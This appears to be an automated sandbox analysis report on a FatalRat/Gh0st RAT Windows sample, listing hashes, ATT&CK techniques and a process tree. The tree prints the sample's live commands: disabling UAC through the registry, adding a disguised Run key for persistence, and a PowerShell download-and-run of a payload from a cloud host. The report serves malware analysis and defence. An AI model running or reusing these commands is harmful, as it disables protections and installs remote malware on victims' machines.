fatalrat | 361d4971fb5d11daf62336bbf8427a17c4e1b6c7b33db0c82037d34cc9ae07b8

Analysis

max time kernel
92s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
03/03/2025, 10:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
Size

20.2MB
MD5

a69273e15f761f1aba60604ae7823581
SHA1

f7a5fbb131ac38592208f534bb45d5927ef33bd1
SHA256

361d4971fb5d11daf62336bbf8427a17c4e1b6c7b33db0c82037d34cc9ae07b8
SHA512

84b4b62eca8d781d29bf21f519356460346d75a6998130ef88d23e69de6dea1a6d92df9dd2b2625261520ad3c5f8479c0d4637ce29900548e6e6bea2c8f15ede
SSDEEP

196608:oatpgF2oM7Vk96Cy8xEqn0SweKG8PvMTnsOTLkE:9tpgF2oM7Vk96Cy8xEqn0MlAvYnsO3J

Score

10^/10

fatalrat gh0strat defense_evasion discovery execution infostealer persistence rat stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://baba-1336130708.cos.ap-tokyo.myqcloud.com/as.exe

Signatures

FatalRat
FatalRat is a modular infostealer family written in C++ first appearing in June 2021.
stealer trojan fatalrat
Fatalrat family
fatalrat

Gh0st RAT payload 2 IoCs

resource	yara_rule
behavioral2/memory/1624-85-0x0000000003DE0000-0x0000000003F2D000-memory.dmp	family_gh0strat
behavioral2/memory/1624-86-0x0000000003DE0000-0x0000000003F2D000-memory.dmp	family_gh0strat

Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
rat gh0strat
Gh0strat family
gh0strat

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Fatal Rat payload 1 IoCs

rat infostealer

resource	yara_rule
behavioral2/memory/1624-59-0x0000000001920000-0x0000000001949000-memory.dmp	fatalrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
45	5068	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
45	5068	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe

Executes dropped EXE 2 IoCs

pid	Process
1624	Agghosts.exe
3700	bin.exe

Loads dropped DLL 1 IoCs

pid	Process
1624	Agghosts.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleUpdata_Service = "C:\\programdata\\lnk\\dick.lnk"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5068	powershell.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1624-85-0x0000000003DE0000-0x0000000003F2D000-memory.dmp	upx
behavioral2/memory/1624-86-0x0000000003DE0000-0x0000000003F2D000-memory.dmp	upx
behavioral2/memory/1624-82-0x0000000003DE0000-0x0000000003F2D000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Agghosts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bin.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Agghosts.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Agghosts.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
5068	powershell.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
5068	powershell.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe
1624	Agghosts.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1624	Agghosts.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	3700	bin.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4036 wrote to memory of 4596	4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe	95
PID 4036 wrote to memory of 4596	4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe	95
PID 4036 wrote to memory of 1624	4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe	97
PID 4036 wrote to memory of 1624	4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe	97
PID 4036 wrote to memory of 1624	4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe	97
PID 4596 wrote to memory of 1888	4596	cmd.exe	98
PID 4596 wrote to memory of 1888	4596	cmd.exe	98
PID 4036 wrote to memory of 4012	4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe	99
PID 4036 wrote to memory of 4012	4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe	99
PID 4036 wrote to memory of 2832	4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe	101
PID 4036 wrote to memory of 2832	4036	2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe	101
PID 2832 wrote to memory of 4824	2832	cmd.exe	104
PID 2832 wrote to memory of 4824	2832	cmd.exe	104
PID 2832 wrote to memory of 5068	2832	cmd.exe	105
PID 2832 wrote to memory of 5068	2832	cmd.exe	105
PID 2832 wrote to memory of 3700	2832	cmd.exe	112
PID 2832 wrote to memory of 3700	2832	cmd.exe	112
PID 2832 wrote to memory of 3700	2832	cmd.exe	112

C:\Users\Admin\AppData\Local\Temp\2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe
"C:\Users\Admin\AppData\Local\Temp\2025-03-03_a69273e15f761f1aba60604ae7823581_hijackloader_ryuk.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Downloads\20250303030406\1.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:1888
- C:\programdata\20250303030406\Agghosts.exe
  "C:\programdata\20250303030406\Agghosts.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1624
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v GoogleUpdata_Service /d "C:\programdata\lnk\dick.lnk" /f
  2⤵
  - Adds Run key to start application
  PID:4012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Videos\download_and_run.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://baba-1336130708.cos.ap-tokyo.myqcloud.com/as.exe', 'C:\Users\Public\Videos\bin.exe')"
    3⤵
    - Blocklisted process makes network request
    - Downloads MZ/PE file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5068
- - C:\Users\Public\Videos\bin.exe
    "C:\Users\Public\Videos\bin.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\20250303030406\Agghosts.exe

Filesize
2.7MB

MD5
2a24dcd41bc3c5b5f7eceda525786578

SHA1
7e898f9ee5a97a1a261326f0168e8de44dcf8af4

SHA256
169e9e4b23878035551455f4e5dbd01ece204e59fe75361680e8786998059ca7

SHA512
aaded4c72d3fa77eefd9d4b098288dd6923bd79813466d93313d6acb00fea9bb90248fff92cc89a625c60ae3b7cc1c27e8bb178fdac624ec896267da57b9fd6a

Download Submit
C:\ProgramData\lnk\2.lnk

Filesize
1KB

MD5
37ae72f914e345b0ff2778e5144962f4

SHA1
258319f878c840d3faccbcd002bc7532aec97ac3

SHA256
4f32b785c0acd4865bb68f38a16412c3be6fa6011ed15c22b0f1ebff60addae3

SHA512
471f74f347e051e6a17c0f6e1631819c44ac5abba7e99f8f0670c0c5d5bc1c65d33d1bfd96484eb52ae1c1f72ae9df72ea73c5e8d15bcf09879c988e7f9594c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dxjs0m0z.utf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Downloads\20250303030406\1.bat

Filesize
229B

MD5
fa42ebb1071abc0e618c296ea2cf71a6

SHA1
9e0c0737b0e37b3e821d011eecd9b0c7c9f2a15a

SHA256
395f835731d25803a791db984062dd5cfdcade6f95cc5d0f68d359af32f6258d

SHA512
0ed9919675c224201996caeeecf625a1db00a70af5d3ba135dc3d6fa16bfcc562426c813e21b4e861f04d312635be3528d79b5c49b23e78161f2b051fa9aaf05

Download Submit
C:\Users\Public\Videos\download_and_run.bat

Filesize
400B

MD5
8e5375901bc48c86773c54b132c9f85c

SHA1
c3aa392dbd79409726b80cfa54338d38882f162b

SHA256
fcc588c2a5b9d2b1752f81e261c587dfea693ecdaf4b965bc2a83442afe5ffa0

SHA512
1759b769dcac37f4511d53b7f0b2f814238ffa927585f46c9230a0d142e20c1ba2e2de649c717dce85ce2b8cd8808aa6a4283ac1406933773dc4bde336db42e2

Download Submit
C:\programdata\20250303030406\Ensup.log

Filesize
192KB

MD5
2fd94f6e1d71454d716a126f0d7450ac

SHA1
5d966df95c741880089e9078af921a22216516ec

SHA256
a599cbb05b69328655a7a0afc2644ed607c30a05edfb8fd6be2ea920c25b54b5

SHA512
340107b69fc49b8fe1acf37a3a6e40c4b7206cf3ae069fea6f4ba702a733401e1feef55e1d858b3529764bcd0ba371ef552f5838444b65b62545e1da150f9bb2

Download Submit
C:\programdata\20250303030406\libcef.dll

Filesize
1.9MB

MD5
b7f8c3416cdfd6f46c790da064f66099

SHA1
d7ae9a3d49bbf1981e7d6604128e18b6cd160bd6

SHA256
b9edf03447cf402e24da384c146c9d1536871a47518c795c4aea6550e3abd94d

SHA512
24272954e57f4f4f81dad90469e84946549e3441ba599f8b819d069b803687b3da35f449c0f18755352dba208d6d63af1d6b53c0a56adbd36540b1537bb99dc7

Download Submit
memory/1624-59-0x0000000001920000-0x0000000001949000-memory.dmp

Filesize
164KB

Download
memory/1624-85-0x0000000003DE0000-0x0000000003F2D000-memory.dmp

Filesize
1.3MB

Download
memory/1624-86-0x0000000003DE0000-0x0000000003F2D000-memory.dmp

Filesize
1.3MB

Download
memory/1624-82-0x0000000003DE0000-0x0000000003F2D000-memory.dmp

Filesize
1.3MB

Download
memory/4036-9-0x00000277C7740000-0x00000277C7B50000-memory.dmp

Filesize
4.1MB

Download
memory/4036-57-0x0000000140000000-0x0000000140414000-memory.dmp

Filesize
4.1MB

Download
memory/4036-12-0x00000277C7110000-0x00000277C7111000-memory.dmp

Filesize
4KB

Download
memory/4036-11-0x0000000140000000-0x0000000140414000-memory.dmp

Filesize
4.1MB

Download
memory/4036-10-0x0000000140000000-0x0000000140414000-memory.dmp

Filesize
4.1MB

Download
memory/5068-67-0x000001FE535D0000-0x000001FE535F2000-memory.dmp

Filesize
136KB

Download